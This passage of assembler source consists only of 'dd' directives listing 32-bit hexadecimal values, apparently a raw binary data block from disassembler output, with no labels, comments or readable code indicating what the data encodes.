dd 5EC5BCD6h, 2154AD1h, 0E0878002h, 0BADAF5Ch, 5E853015h
dd 8849A790h, 31DB40AFh, 0A3DDCE5Bh, 0F8C11D2Ah, 56EB4D63h
dd 46863875h, 4401C815h, 6278083Ah, 4234CDF9h, 431E2002h
dd 4CDD2170h, 6DD99DDCh, 83130341h, 361205C3h, 98CAC950h
dd 2C518228h, 1643E3Ch, 0F7754E08h, 1D4CDBE9h, 3ED7E98h
dd 0BB47382Dh, 84D4A569h, 5C830F05h, 0CD821864h, 0C39055ECh
dd 1AA1C908h, 362FCFF3h, 4369E641h, 0AE1845ECh, 800544EBh
dd 141235A4h, 4283F414h, 2EE1781Eh, 84157223h, 8E963EFh
dd 0E4B8732Fh, 0DF40B548h, 0C853C3E8h, 7E9C5993h, 85A3755Ch
dd 6C3456F8h, 4760375Eh, 72354B0Ch, 6CBB1F81h, 674E651h
dd 75021781h, 3253560Dh, 4A861529h, 427677Dh, 0B18012E5h
dd 0B73B6468h, 6E57DF66h, 80033218h, 0C9BF2481h, 4F0741D5h
dd 5366AC8h, 268033F1h, 7682F4ABh, 0FEFB5078h, 4B64FE8h
dd 3282ECAAh, 0B6C65C68h, 0F4533E6Bh, 2D2F2085h, 0AADA03C0h
dd 5272C73Ah, 36132373h, 506F5D7Fh, 844E1148h, 987864Eh
dd 72CC3B50h, 1427B052h, 104149ECh, 8B28C7E5h, 1883D9DEh
dd 9A5912D9h, 0A2BFFD9h, 775A3CF6h, 0BE569724h, 42914A3Dh
dd 14124354h, 8D8F3DECh, 228879C1h, 0DC88FDF8h, 2D7A448Fh
dd 68971888h, 0C2B8FD5Ah, 0CB6C791h, 0CE6E1ECDh, 0BFB7DB2h
dd 0FDC78813h, 480BD3C9h, 5C1ED856h, 0D36ED002h, 0FF2F658Dh
dd 0C5BF0CD6h, 388A9C34h, 5E531844h, 0FCACD1ADh, 0CE428515h
dd 0EB211CC6h, 0C6E55867h, 0E6B553AEh, 0C6EC28A3h, 3F245D73h
dd 0D932E559h, 5FDE591Bh, 0B9C03342h, 0F8381C84h, 4FE468D9h
dd 0A2442187h, 87F05312h, 1A398E28h, 3148358Bh, 74529A77h
dd 3AE39AFh, 6C274820h, 72CB8027h, 96B771D6h, 0EB5CC54Ch
dd 0FFF0DE62h, 5D4C2FA4h, 0AC1D8BC4h, 3AD3555Fh, 2F34028Ah
dd 0D65F3C44h, 0A716478Ch, 7C561036h, 0D3926DB9h, 8A01DC3Ch
dd 0ACF534C2h, 70684048h, 1C0F693Fh, 3E08E6AEh, 99BBD83Eh
dd 39131464h, 5C74A212h, 0AC551554h, 0C00987F8h, 84B044C5h
dd 0B11EC814h, 53C48388h, 0E9406022h, 90F9AE2h, 0A70E54E2h
dd 6A10D011h, 0E084D99h, 9248A04h, 212CAB28h, 0C576508h
dd 0A18EC6FEh, 0ED80595Bh, 0B80F76C0h, 0E5CFA1Bh, 7C8D0475h
dd 3B4101C0h, 0F14E72C8h, 2DAA3AD4h, 38FB5A8Bh, 0F2A64E6Ah
dd 0A7A3CF94h, 80340A77h, 7C8B9C20h, 0B1B73C22h, 953B14A7h
dd 0D0CBC6Ch, 82645CE8h, 5E7E4975h, 100BE12Fh, 81BC7C88h
dd 74FE3B5Eh, 9E612814h, 442E6451h, 0E461650h, 0C76F754h
dd 68178D34h, 0DB3E8C30h, 9AC480E8h, 0B77D51BAh, 7E9BA7E7h
dd 0AA79E704h, 69CAA843h, 0ED3A8A8Dh, 85E47493h, 5D54BE6Bh
dd 422FDAB5h, 0C5215E0Ah, 8AD2B808h, 57182D4Fh, 0D5306802h
dd 697DF2AFh, 0E90A3F21h, 3C52AFABh, 0E8320490h, 0DA59AD1Dh
dd 0E3085E18h, 0AC0944E0h, 5CA6418Bh, 0F2D58D3Ah, 9CA14A32h
dd 36C26F5h, 0C6E862A0h, 26BE0049h, 0FC941036h, 0DB250848h
dd 39F08956h, 6D905D1Dh, 33D3975Ah, 0BF8A74F8h, 930B0DABh
dd 98624D2Ch, 922FD45h, 0C442BFDFh, 374EC3B7h, 1064A3E5h
dd 2A991A07h, 8A5518A2h, 58506C11h, 0C75ABE1Ah, 0F0980B6h
dd 0EAFAA384h, 83F85F80h, 0D108C730h, 4D751F39h, 0E9400E94h
dd 456245CFh, 9CB2488Ah, 0DF4F76A1h, 85F06FA1h, 0A222FD34h
dd 0E807908Dh, 5282A421h, 42642636h, 0E5EE2720h, 2ECD63D3h
dd 0D2782DACh, 0F8540D0Bh, 75A19491h, 9ECCE065h, 942408B2h
dd 0E8433F3Eh, 0F4394BCDh, 9954A4Fh, 0C15D81A9h, 0B6FD03E6h
dd 63BA6751h, 894B517h, 9064AF0Bh, 6D991150h, 29321497h
dd 4D531C58h, 921C2486h, 0B002056Bh, 0D27A842Dh, 0B99D6E0h
dd 0E34F0B02h, 7C9E4704h, 4E0652FBh, 60BFBE5Ah, 205EA0A8h
dd 3D2B5356h, 0A63FD6C2h, 0A0091BE4h, 0D0AD0366h, 0C1354F50h
dd 47286AD7h, 53DF6A83h, 9036FEFDh, 2264200Ch, 0A49D55A1h
dd 0C620E69h, 93B83102h, 0E63BBB3h, 53BD1FF4h, 33D3E733h
dd 6C3D39C2h, 74FC0A01h, 260ABE6Bh, 0C5D02697h, 8410CE53h
dd 7054C1B0h, 62629C12h, 9B19F885h, 8A4E1548h, 58506511h
dd 0C54DB71Ah, 5774C507h, 88375F8h, 0C1FDF78Bh, 429E758Eh
dd 8544BE85h, 0D0865648h, 94824A4h, 27BE3AA1h, 45F611DFh
dd 14269723h, 59994440h, 0E810A852h, 44B7441Fh, 9DEB86AFh
dd 0FF94B9ECh, 84FB72Bh, 61F85862h, 0E026B18Fh, 0C4B722FAh
dd 962C61A1h, 7CB84BF7h, 0C77E53F7h, 22422B4h, 2D6C1F74h
dd 43A17E88h, 4F852C87h
dd 0B4F8E13h, 0A216D4B8h, 56C0E411h, 0BEBD641Ah, 0FA2C3871h
dd 0C05D4F41h, 4FCCF578h, 14AB8B11h, 0B5D63DB2h, 8DD5992Dh
dd 0BD7C7AC6h, 6F683569h, 0BFB7AD5h, 5FAD7DFh, 0B201FC21h
dd 8022F312h, 42481BDh, 12910E75h, 0D20125EDh, 805E5BCDh
dd 9D38F669h, 749D3663h, 8D4401Eh, 0D4105A6Ah, 8AC2316Ah
dd 5DDD2EC0h, 0FBD92611h, 2C024312h, 641857F9h, 0DF69D8E8h
dd 0D556EA12h, 9E775D13h, 85E4F45Ch, 74A3B60Fh, 0E662843h
dd 682EAB46h, 9467FFC0h, 1418515Ah, 2D377566h, 301A086Ah
dd 0BF9BA248h, 3DD82CD3h, 0F3C6FC08h, 0A15B9D48h, 0F9CA385Fh
dd 0D38F28F0h, 0E9124411h, 2A80C92Eh, 0FA0A0D0Ch, 0FBEE25B5h
dd 9A42CA73h, 3D5F1BC3h, 5332B2B2h, 3019F045h, 55243E16h
dd 0FC451DE6h, 8B27742Ch, 0BF39A92Eh, 7C28750Ah, 0E7BC235Ch
dd 721871Eh, 0AB2E910h, 5A4256A4h, 3820942Ah, 1024BE0Ch
dd 0DE54C29Eh, 5983A15Dh, 5B642E74h, 0E3E95F2Ch, 8D08245Ah
dd 74617442h, 0E95C9FE2h, 0FC2D3217h, 3C12F5C2h, 0A455FA5h
dd 563B190Fh, 2621FC43h, 0CEE62110h, 253B1D57h, 0E2F75E0Ah
dd 198280EBh, 2276E6D7h, 4A11CF66h, 0A405AD59h, 1B4CDC7h
dd 0AB563512h, 4BA71212h, 85BE0711h, 1708BDF9h, 31DAA544h
dd 5FDF6528h, 5950184Dh, 0ABB04EEBh, 7BFE4440h, 0ED2F1746h
dd 441254D3h, 4C421AE3h, 5A37824Ah, 113F8213h, 0BF04DAACh
dd 215F64ADh, 51E03A11h, 49D88B4Eh, 0AECC3A2Ch, 0DB41848Dh
dd 0C47012E6h, 1D9A7053h, 0EEA56BE8h, 0FACB909Ah, 0EBC5A92Ch
dd 27896A4Ch, 8D64501Eh, 22A93E53h, 0A21C84Ah, 7CD12E10h
dd 2B60964Ah, 8A311A40h, 544FEE60h, 5AB34040h, 83906414h
dd 13EB56F8h, 0D5AE3162h, 861C44E5h, 0DF9F289Bh, 61E93E0Bh
dd 5386EE49h, 0EE8E10E1h, 73168D27h, 0D2F94B46h, 5D53531Dh
dd 75124AB9h, 203AFD23h, 0D2E5970Ah, 0C25C4988h, 8D18C112h
dd 0CFF8565Dh, 0C4BC9C11h, 32EE5B74h, 11827F5Ah, 42DE1045h
dd 63955E4Bh, 63F56A57h, 634E6ECAh, 27B61C12h, 9E861A2Fh
dd 83825B6Ah, 87383BA1h, 0DC2BA68Bh, 5E563412h, 0DC404DBDh
dd 0D212E7ACh, 70A9751Ah, 106E0FE6h, 7CD6C2D0h, 321571Bh
dd 0BA700C8Dh, 48A800Fh, 80018802h, 4A7AC761h, 0D2851049h
dd 0E297EC7Dh, 0A7397972h, 0BB5B4E50h, 0DF0C9C9h, 3C800348h
dd 6752030h, 94CB8B4h, 5C5EEFEBh, 8AEA4C29h, 0C9840A13h
dd 4C3A5C06h, 1750254h, 0F0EB4240h, 53D39155h, 57070E6Ch
dd 27187539h, 0F9539F1Bh, 87E234AAh, 8D140A0Bh, 887A150Ah
dd 7649EB9Fh, 0B28B3948h, 2B95C00Ch, 6817A0FAh, 0D7CC3F54h
dd 4205411Bh, 0B1A91041h, 3896303h, 0B88245D2h, 63607D39h
dd 414B7E30h, 738DBE80h, 36296C04h, 461D397Eh, 792F74FCh
dd 3F54086Eh, 1804E742h, 0A9A90689h, 48837F08h, 56C99F03h
dd 0DFF8A7C9h, 4894709h, 0B1025C31h, 0BAC87C86h, 2F30CE98h
dd 95F669F7h, 0A3809DC4h, 24AE6C1h, 0BB049281h, 883D8695h
dd 5D58DB69h, 15B81EC8h, 139FAA2Eh, 0CB5A0A47h, 57568AD4h
dd 0CA76AAADh, 3F185A5h, 1F98318h, 68A90AFh, 84600788h
dd 47460BE0h, 7521C349h, 0A0F4C6F0h, 0E8955DA2h, 498A045Ah
dd 10031708h, 7C30F980h, 393850CFh, 4000037Fh, 0C032EDEBh
dd 9301B0C3h, 0F95AAD1Fh, 0A129E8E8h, 0C07E9BAh, 4CE6583h
dd 0A8F9D82Bh, 0CA397819h, 2ACB908h, 74C13A0Fh, 1FC45D14h
dd 48098DF0h, 75D13B20h, 6411E2B9h, 329057B2h, 38BEDB25h
dd 90FF106Fh, 0E0465F13h, 0CA5E7EA7h, 33493FF6h, 0FE00A241h
dd 91F1EBC1h, 44A0AABEh, 89A1110Eh, 0A8E480Dh, 4C8AACA0h
dd 38A83048h, 0E003A4EBh, 0C9335782h, 8AD2418Dh, 0FA80D28Ch
dd 0AC2053Ch, 4307750Ah, 4101EFDCh, 809AECEBh, 0C939435Fh
dd 32414440h, 20070BD0h, 0F296CBBAh, 24EEFAC4h, 2A8DBA2Fh
dd 8AF16750h, 480D216h, 9585091Ch, 8017EBEEh, 638896F4h
dd 3E807414h, 467E6086h, 0CFC7E24Bh, 961B2FE9h, 8BC0CE0Dh
dd 5DDB122Eh, 0F196724Bh, 53AA458Fh, 90DFE646h, 4AD92B28h
dd 2EFE2E51h, 0C21AEDB0h, 46403386h, 7C04D3E0h, 25DEEB53h
dd 0A5A52C3h, 108448Dh, 890A2081h, 4E25EAE5h, 6AEACC2Eh
dd 25172E48h, 0B31E7C6Bh, 7FA1035Eh, 18042023h, 305B44B7h
dd 14141988h, 7A1C32Bh, 1FF10Ch, 0E6483C74h, 1606C828h
dd 401DA02Dh, 4DE85156h, 0A35E087Ah, 0ED741334h, 946BC0C2h
dd 0B1DE4C0Fh, 51115ACAh, 0C31812CDh, 0F72324C2h, 1A1B16AEh
dd 3AFF0C98h, 1282FE3Ch, 0FA5F018Ah, 0D5277572h, 0D9436178h
dd 9DF46121h, 44256877h, 56E8168Fh, 1FF36158h, 6CE90CBDh
dd 73582F84h, 69057291h, 31495F75h, 8AB42759h, 334BA589h
dd 263821AEh, 0E3984153h, 4946AB8h, 0C3FE4941h, 10CFB60Fh
dd 95BCDF80h, 0DB841628h, 0FF3DB5Bh, 0EB510361h, 70B4794h
dd 72F5868h, 5F59E59Fh, 422EB520h, 49CC94B8h, 0E038D6D2h
dd 1065384Bh, 1F725056h, 0E84C1323h, 995D2F0Dh, 372A3CB1h
dd 0E009ACDDh, 3A2CD489h, 0A6FEA185h, 0DD864F14h, 8C505A82h
dd 0EE95E461h, 82E82B61h, 0E827921Fh, 92F4CE5Dh, 0DC2727B3h
dd 6115EAD3h, 3213D621h, 7127371Ch, 0D03EB25Fh, 31843758h
dd 0EE125483h, 32FFBDE8h, 4399CC56h, 0E8894CF0h, 2916A752h
dd 0E49455C8h, 9194DE9Bh, 54C48B16h, 31D8C553h, 567BE8ADh
dd 0D053196Ah, 24C82A48h, 505C682Eh, 587E026Bh, 9DCAC6B7h
dd 0F081BE6Eh, 0F8815820h, 0F08473AEh, 46FDB121h, 7486D921h
dd 468EE853h, 21902BD1h, 0D520CB23h, 930FF040h, 0E8843036h
dd 5491B6CFh, 1BF42A32h, 945B5DFDh, 0F8C815BAh, 0F162E465h
dd 0FC1599A5h, 0E91E00Ch, 1550BAB4h, 0C31DA998h, 0B6959D01h
dd 9C72C35Bh, 2C41A470h, 1898B8Ch, 4291F229h, 8B123E08h
dd 0B2234333h, 0C321621Fh, 0F20EC3E1h, 28C25FD3h, 1565740h
dd 2C05464Dh, 1A4C8BF4h, 7DCBFB41h, 4CDF7D46h, 0D1305C39h
dd 28A1A49h, 19063A2Eh, 753B4618h, 4220CF03h, 0EC10B21Fh
dd 22C28757h, 4AAF7A0Fh, 8E8157DEh, 2BC22BC1h, 0C42323D3h
dd 310F2DC1h, 0B4DF59CEh, 0AF0BFBE0h, 51092BEEh, 19F82720h
dd 5B37DA4Fh, 2B2918EFh, 1B5602C7h, 86A068D3h, 4152D861h
dd 7B710D8h, 15C68CF9h, 0D63B8806h, 0C67758C0h, 17810872h
dd 1E4240FFh, 34BC9869h, 74B05264h, 8CDD6C55h, 3CC88B12h
dd 95809558h, 5726177h, 50F98301h, 4B6A0673h, 2A581D99h
dd 1184F277h, 0E4424847h, 2437223Fh, 112E7232h, 39211226h
dd 891E081Dh, 840C1C19h, 0C8730A3Ah, 2B2360BAh, 0BCC703C1h
dd 3E1BEB4Bh, 51383DB9h, 421F6ABEh, 6C5C0790h, 90D7FF42h
dd 0A346C6F3h, 16104EDDh, 68300EDCh, 3154418Bh, 71B925B9h
dd 29F9A5D4h, 0C8311694h, 8195308h, 5F666680h, 25DBE72Ah
dd 0E4D2F42Ch, 0FCD47101h, 0B446BD08h, 5043AF3Ch, 0FBBE90E8h
dd 73507C11h, 0CCB0FA98h, 9C131028h, 0C1080550h, 0AD14E839h
dd 0DCB461EEh, 800A70E0h, 512780B9h, 28DC7101h, 18489744h
dd 0E19D3C6Ah, 0E1615DEh, 0C710F422h, 0B18BE84Eh, 0F2B9F1F7h
dd 49CA8CFFh, 0E855DFFAh, 4C29D28h, 0EF861809h, 0ED118C2h
dd 8C6149CEh, 8A18EBB0h, 0C8646B4Ch, 6A44301Dh, 1BC9AA24h
dd 0C709F4C3h, 9418DA79h, 97ABF3B5h, 3444E694h, 41FA883h
dd 42783EBFh, 70E4F963h
dd 47750F19h, 1216042Ah, 8A0C1E40h, 0BF3434F0h, 0E23336Ch
dd 0F279F302h, 60EB2268h, 69502792h, 1064BF28h, 5A053786h
dd 60BF3E75h, 5C37100Ah, 2E750541h, 52905059h, 0C61E8858h
dd 54422101h, 2190E23h, 1E0F4CCFh, 10548012h, 9741437h
dd 10941B2h, 0EDE8E4EEh, 402E79D2h, 4842ECA9h, 44130732h
dd 88A58021h, 0EB9597Ah, 0F50009FBh, 3789A20Fh, 62177C9Dh
dd 6828095h, 0B72E848Dh, 8430DBB5h, 2E87B519h, 42146253h
dd 70C9CE76h, 0ECB89FC9h, 84BA4875h, 0C35F20D3h, 9A667C17h
dd 2454DC16h, 0B0D6918h, 87323A58h, 132C910Ch, 27093331h
dd 0BF10386Dh, 0D90C89F8h, 6FFC4BA7h, 0E591B996h, 6935FCB8h
dd 274BF41h, 947FD8D1h, 15A6C6AAh, 0A3E8D040h, 0C11003FAh
dd 51B04D8Dh, 4EC8083Ah, 5852AE93h, 0E88CB808h, 9796EC06h
dd 63132224h, 0B4885C50h, 95C16A86h, 42F9E6D8h, 841B0406h
dd 30E47521h, 0C2D30C8Eh, 4F5C51A3h, 4582B226h, 6D2F2654h
dd 6889D862h, 421AD66Ch, 6A0D3413h, 257BB122h, 78B20BACh
dd 0B1DE336Ah, 85B1EA70h, 6FF240Dh, 8E018C2Ah, 2642E25Eh
dd 0F4427C68h, 5FF362ABh, 7B0AE82Eh, 3BF42092h, 0CD880892h
dd 0B6B15E9Dh, 52BD1904h, 0F808B99Fh, 8214C6B5h, 14B0D517h
dd 7F9CD8C4h, 4A097AA6h, 203111DAh, 5CC2DCA8h, 0EB8774B8h
dd 0A876519h, 890EC832h, 84F6CF2Bh, 759B071Eh, 25EEDC25h
dd 55230B6Fh, 8132792Eh, 3885E83Eh, 0C2F097C1h, 770EA174h
dd 8C89F808h, 44846908h, 428498D8h, 0A889765Bh, 89884D08h
dd 0C814F844h, 3D44B821h, 59850348h, 4987066Ah, 8F7FC597h
dd 48C7CBC3h, 0B25B5D26h, 159CB75Dh, 9EB43390h, 67CC1D0Dh
dd 0D748200h, 7D09A2B9h, 39402000h, 0F8137519h, 3D42E8D1h
dd 75FF788Dh, 5357FFC8h, 1250A4C9h, 102D5442h, 54894BFEh
dd 0F30B2C04h, 1504A885h, 41A2184Ch, 0D0309151h, 9A6C8D5Bh
dd 393C6724h, 3DA5840Ch, 3084C746h, 902234AEh, 3FE1B7D7h
dd 740E1230h, 0C57D9C09h, 0CD8D7203h, 2E2809F1h, 502939B2h
dd 467CA546h, 62B24CA5h, 0B07E7856h, 18ECBF56h, 19DE8A02h
dd 0D309AEE8h, 3CA679D8h, 0F3B01016h, 2558595Dh, 95A1DEBFh
dd 46983C57h, 6484D909h, 0B0F83410h, 0A095239Eh, 0E1E81E8Ch
dd 0C19492AFh, 73C73B56h, 3D0B3A12h, 0D5D7933Dh, 0DFF89EE0h
dd 0C4EB4A4Ah, 20209C12h, 467A0966h, 0EB5919C1h, 10F8B6B1h
dd 0E66DDFF4h, 295D7AD9h, 2F3EA3E8h, 2B20E6E3h, 0B72AE7ECh
dd 1E36626Eh, 875304B1h, 170E853Fh, 2413EC38h, 86A9A01Ch
dd 4F0A5489h, 0FDB00877h, 31AF4642h, 0BE119338h, 2932D196h
dd 89F4F9ACh, 0F9DBAF14h, 0AEB5F413h, 8A6B56C5h, 0F9864ECDh
dd 0B527841Eh, 0B081C466h, 1070ECF4h, 0C7AD06D6h, 0EFFC9E9Bh
dd 42E87930h, 79A09405h, 0E31419F0h, 922C9817h, 65FC8BF2h
dd 92705FF1h, 438826BEh, 5898AE25h, 0FF525885h, 0AE5877A9h
dd 99D88A18h, 0A1157B98h, 0F2C1D61Ch, 3474149Bh, 5822718Ch
dd 2C5BB1FFh, 3EE49D09h, 8A7AD0A7h, 0DDE1F65Ah, 2CB107D9h
dd 6105EB9Dh, 3F0EA07Dh, 0A63D7CC8h, 10F2248Dh, 0FCBF2ECDh
dd 0F8C9BE45h, 7896097h, 5E03754Dh, 37127B7Dh, 1E1996CCh
dd 0FE75F042h, 3DFC40C9h, 52E8EE4Bh, 78BBE083h, 5738B1Dh
dd 74E770DDh, 6818EC12h, 0B415E888h, 90ACAC04h, 64B988BAh
dd 10F948FAh, 40F222ECh, 2684FCF1h, 0A60657CAh, 0D4D865EAh
dd 5994EA9Fh, 35958784h, 7FF8C20Fh, 8411C424h, 652FB84Ah
dd 0CBD2E02Ah, 50C6E9F0h, 6D59FD5Dh, 428C9420h, 0F5417C42h
dd 0E610AB67h, 14488AADh, 5CB44F4Ch, 74B7ABFDh, 0FDB0212Fh
dd 0E070111h, 2EAD3FC4h, 0C4DDE310h, 44674390h, 5AB4465h
dd 0A1321C68h, 4A563BA0h, 49DBDCC6h, 2AD0FE41h, 9F4DEF8Ch
dd 9348D969h, 5ED050Ah, 39920220h, 0E4C43EB6h, 0CC222950h
dd 0BAF1EB5Fh, 0D9BA35B6h, 0FA24AC5Eh, 56FE3E95h, 0E8420E46h
dd 6713AE89h, 31C3CF7h, 64FEF035h, 265A0CA0h, 2F149C75h
dd 0C8267F4Eh, 38F8C205h, 842384FAh, 4F7615ACh, 38D01024h
dd 0BD4E8DC0h, 0F140CAB9h, 53055C6Ah, 2958592Dh, 0A4A5F304h
dd 83EDFAB9h, 7EF5BD11h, 358BAB16h, 0F62BF2E5h, 0CEE14ACCh
dd 0D314D40Dh, 340FD168h, 593BF184h, 0CE812D5h, 44750D02h
dd 0BBB38BFh, 512221C1h, 488F22A9h, 13C5473Ah, 31BB6075h
dd 0B13468AEh, 0ABFA5C6Bh, 4FFCC87Bh, 0C00392C9h, 89442CB0h
dd 4189127h, 1B102421h, 1C420522h, 67A9D20h, 74151463h
dd 5E0CBB05h, 0E0472C0Fh, 86454B93h, 0FD9301C9h, 7454040Bh
dd 3B88EA25h, 0D04997FCh, 0C774950h, 0EC556807h, 0D66493DBh
dd 68EBAEE0h, 0F11F451Dh, 140B0ADCh, 20785D03h, 0C3790849h
dd 0D4F0850Fh, 8402D5CDh, 43C7B613h, 14532933h, 488C782Ah
dd 60D1A442h, 0CBFA3CC4h, 2CDA108Eh, 44FA3884h, 103B0473h
dd 55B8AAB1h, 5C11DB43h, 512C8F44h, 0A2031D11h, 0BA8F918h
dd 0B344DC15h, 0D815F864h, 3D8FD56h, 7F407CF4h, 0F00E1E05h
dd 0FC0AF376h, 0C8734E2h, 0F52DC4F8h, 0C9C5CF5Ah, 2BDB34A1h
dd 1F25AC5Bh, 421FAA17h, 7A26806Ch, 0AC0817BEh, 0A3D91D32h
dd 210FEBE4h, 0D213D49Ah, 4967AFCh, 0BB70A38Ch, 77C96E0Ah
dd 0ABB44255h, 0AB918815h, 0C25A6264h, 72857736h, 0E2424256h
dd 0AAF0301Fh, 8C06EB80h, 0E1052B2Bh, 90258306h, 2F68E011h
dd 6BD21980h, 69A3A940h, 0F0612198h, 1822DE78h, 5D315F06h
dd 88DB206Ah, 5AD42241h, 640AC717h, 50030CA1h, 257089EEh
dd 0EBAD0B8Ah, 0E865E17Bh, 216D892Bh, 0F230CD52h, 78C1D2E3h
dd 707DD904h, 0D034E809h, 4CA081A8h, 1635BBE0h, 0C9CAED1Eh
dd 7CDF0237h, 906E5744h, 22A3A21h, 5722EB0Ch, 474D5169h
dd 681F91CAh, 701D4378h, 0B370B5Ch, 64BC3DE8h, 8BC33428h
dd 0A41F13C8h, 0FAC8F0D1h, 70F1490Dh, 0A98356C5h, 65A8EAE8h
dd 8A3D1556h, 0A068919h, 0A0843A0Ch, 512244C9h, 756BBC10h
dd 7A0242C9h, 0AACD2590h, 1255EF92h, 6BEBF679h, 5609CDC8h
dd 0B21EE829h, 8E96DA25h, 0E59843F6h, 516512BFh, 0FD92F9C7h
dd 8D648830h, 6079606Ah, 0EEF76577h, 146A2A2Bh, 8A107564h
dd 89104803h, 2F4E608Dh, 643D31F3h, 0A7A01242h, 61983F2h
dd 4C101856h, 1AA621F9h, 4288FB85h, 272E5DBBh, 9788AFA9h
dd 0A4632804h, 59102DD1h, 0E80A6471h, 0DE27634Fh, 65DA18E0h
dd 0DB910D8Bh, 2BEC1A34h, 0BE54BF3Dh, 77144C74h, 2A418D1Fh
dd 30393EA0h, 3421C01h, 0F4FA83C7h, 9EB4F17Ch, 28C21720h
dd 39167418h, 54A42F4h, 0A092E910h, 5069C248h, 5E0340C0h
dd 10BFA4C1h, 0EBE17427h, 0A8144E15h, 730224C3h, 78104D92h
dd 187350ECh, 7027506Ch, 1BF0A414h, 6DA965E8h, 13E1E5Dh
dd 45889CEh, 0A34905FFh, 26B03314h, 8446D4C8h, 68515302h
dd 9F436CB2h, 72888BBFh, 144D112Ch, 63858918h, 0B1583949h
dd 98201C75h, 0FFA64086h, 57380D50h, 2B5D092h, 0E6A6931Ch
dd 59E9BF1Ah, 0A4FE585Bh, 5F5900F7h, 88C35A8Bh, 13A2BEE1h
dd 841A277Ch, 0A15A762Bh, 0D2591D3Ch, 8ADAA977h, 744BC268h
dd 914B9BD7h, 68BB4E7Fh, 91015B25h, 79562F88h, 0EC5713C6h
dd 2B44D807h, 0F78B90EBh, 3DF60C2Bh, 67CA4C16h, 6C2460BFh
dd 89238032h, 821C7C76h, 0F6691A73h, 88A15584h, 0C6120366h
dd 4D807883h, 0BF40C707h
dd 0EACF08ADh, 79EB2781h, 74873553h, 785B85E3h, 19CAB5Dh
dd 4F0F5622h, 2D64C62h, 921D8B02h, 335AE0AAh, 0E4BA7F6h
dd 0E63D8D28h, 5051C040h, 0B834E84Bh, 8F229F09h, 0C724A10Dh
dd 68540644h, 0E39C0ABh, 86A4C681h, 0D2B1FEECh, 0A8BD720Ch
dd 5B59888Dh, 0D8A011BEh, 816F8C45h, 4024B492h, 3BED3323h
dd 7DFF554h, 464C08F7h, 215F20EAh, 44E2A56Dh, 39461402h
dd 86882DFh, 554C2774h, 0C8708B3Dh, 0CB55CA4Eh, 1BA4FE0Bh
dd 0B1C64ACBh, 8ECB2F2Ch, 22098C64h, 5B12DFE9h, 24A101BBh
dd 10FF5C1Ch, 8AC1DFD5h, 0FD235FD8h, 107600AFh, 0A5BBFF33h
dd 83C71072h, 324CFF48h, 14088D2Eh, 0E8120746h, 67208B2h
dd 8F331A2Ah, 8A535428h, 71E89488h, 39638DA7h, 7484036Ch
dd 81FB030Ah, 0A2218CFCh, 15ED7BA4h, 815D2520h, 242491C4h
dd 56A4C406h, 851761E3h, 1103B75Ch, 0F685A404h, 10AC2CA3h
dd 9F913E9Eh, 9EE4562Dh, 0F4682C88h, 0D1423F9Ch, 8A1A0925h
dd 433042DCh, 0DDF46580h, 32081260h, 0F11BFFDDh, 0DC24077Ch
dd 0E73EC847h, 712776AEh, 0C9266C6Bh, 5925248Ah, 0E2072E82h
dd 2A851636h, 0F35CE468h, 1A442414h, 4778F82h, 0D1E0116Eh
dd 0FEC74881h, 7CC6DDD0h, 8F458A9Ch, 0EB67883Bh, 219A1557h
dd 4F3791C4h, 94B31ED4h, 1D1DA321h, 963CF1A7h, 63F3F224h
dd 61D3C546h, 70AF365Ch, 709B0240h, 2AE986CBh, 6BCA0775h
dd 1A7B77A2h, 55186A0Eh, 0A30711AAh, 5A45F84Ah, 0B60A91D8h
dd 0D8092B0h, 24BD070h, 362FE8CDh, 0EC8F6EFDh, 210B4291h
dd 7C4C27F4h, 0F009A8B8h, 806C10Fh, 8771117Eh, 0E583104Ch
dd 9C5C16F3h, 0D35BF996h, 24DA0EEEh, 29784CD0h, 7AAFC1A5h
dd 28575A30h, 9BA87EA4h, 751FB60Fh, 10C68A18h, 16268856h
dd 0B5A4F8E8h, 0FE6AED41h, 0A76358E1h, 80168037h, 3508187Dh
dd 0EB620573h, 0C68BE301h, 5A74708Dh, 5949CFD4h, 0ACC3B89Ah
dd 50988B63h, 4B827866h, 5A0DB318h, 7A91C6A8h, 2769012Ch
dd 586BB856h, 2A897D44h, 0F4A10EEBh, 7FE9B80Fh, 0EF4F5D04h
dd 0A4222942h, 9D80CECDh, 0A37AF020h, 68BB8C54h, 243D82Bh
dd 0FDAC6816h, 0A1B4B14Fh, 11C4A618h, 6490DB33h, 0C9B01D38h
dd 79027593h, 38D54614h, 34C33B6Dh, 8429A0A3h, 0E953FE65h
dd 48D73FDh, 48813C3Dh, 48452068h, 149F1EA3h, 25642435h
dd 1EA822E4h, 0C69A48FBh, 1570550h, 9C1D3915h, 0C898224Ah
dd 8C64A818h, 8019A432h, 0CB2DEE33h, 6C968FBh, 0B72B2B6Ch
dd 54B368C7h, 851D8491h, 0BF0A48BFh, 0FF517002h, 0E5B0DA30h
dd 8C3BA0CDh, 0CB277D30h, 0C6116101h, 0FFDC07Fh, 5DA32F82h
dd 6E31A5Fh, 0F44D8305h, 2ED6C7FFh, 9CD02299h, 25FBEC42h
dd 1911F1F8h, 0D806E4h, 965E76D4h, 0BD5A170Fh, 11907BDEh
dd 46E8CC5Ah, 0FDFBA6D8h, 1196E595h, 3A8B36E4h, 287531FAh
dd 0E901DC0Eh, 84813BE4h, 7E780373h, 76FC1061h, 0EB50071Bh
dd 99CC6816h, 0A308081Bh, 5FB5E98Dh, 453C007Bh, 3B475EECh
dd 0E9D07D2Ch, 39D86831h, 0B6F4EBA7h, 0E4165B19h, 16701E2Bh
dd 5AA4FCD0h, 0F82DA2ECh, 5C346D19h, 0C8486D9h, 51F34DB6h
dd 4284F20Bh, 0E5F02AF1h, 85A1992h, 93506B28h, 9C680DC2h
dd 21FB12E5h, 52EB2C10h, 0DC442425h, 8CDFACF4h, 21744327h
dd 801094C1h, 883B557Ah, 0E088093Bh, 99FEB649h, 3A068A66h
dd 240FCBF4h, 0A565D186h, 994C8851h, 0B5064F3h, 12F122F2h
dd 0FC94EE74h, 0A2849163h, 0C641948h, 0A1EB2D28h, 0E45D0F12h
dd 810C5E55h, 6E462082h, 5F453F33h, 0CBBEC33Fh, 0C098AF85h
dd 9F2D25E8h, 0F76430FCh, 71ADB608h, 0C352B401h, 33612012h
dd 868D0C12h, 21B01246h, 14189EF9h, 5B74109Ch, 4D4BD31Bh
dd 0E13D3F3Ch, 0B7F5965h, 0BDC81047h, 1E8806CEh, 14364658h
dd 83B96A88h, 24E8D929h, 2723C008h, 2A203709h, 0B8058729h
dd 14ABC930h, 8628CEF0h, 37DE2BA4h, 4427C9F4h, 452C5826h
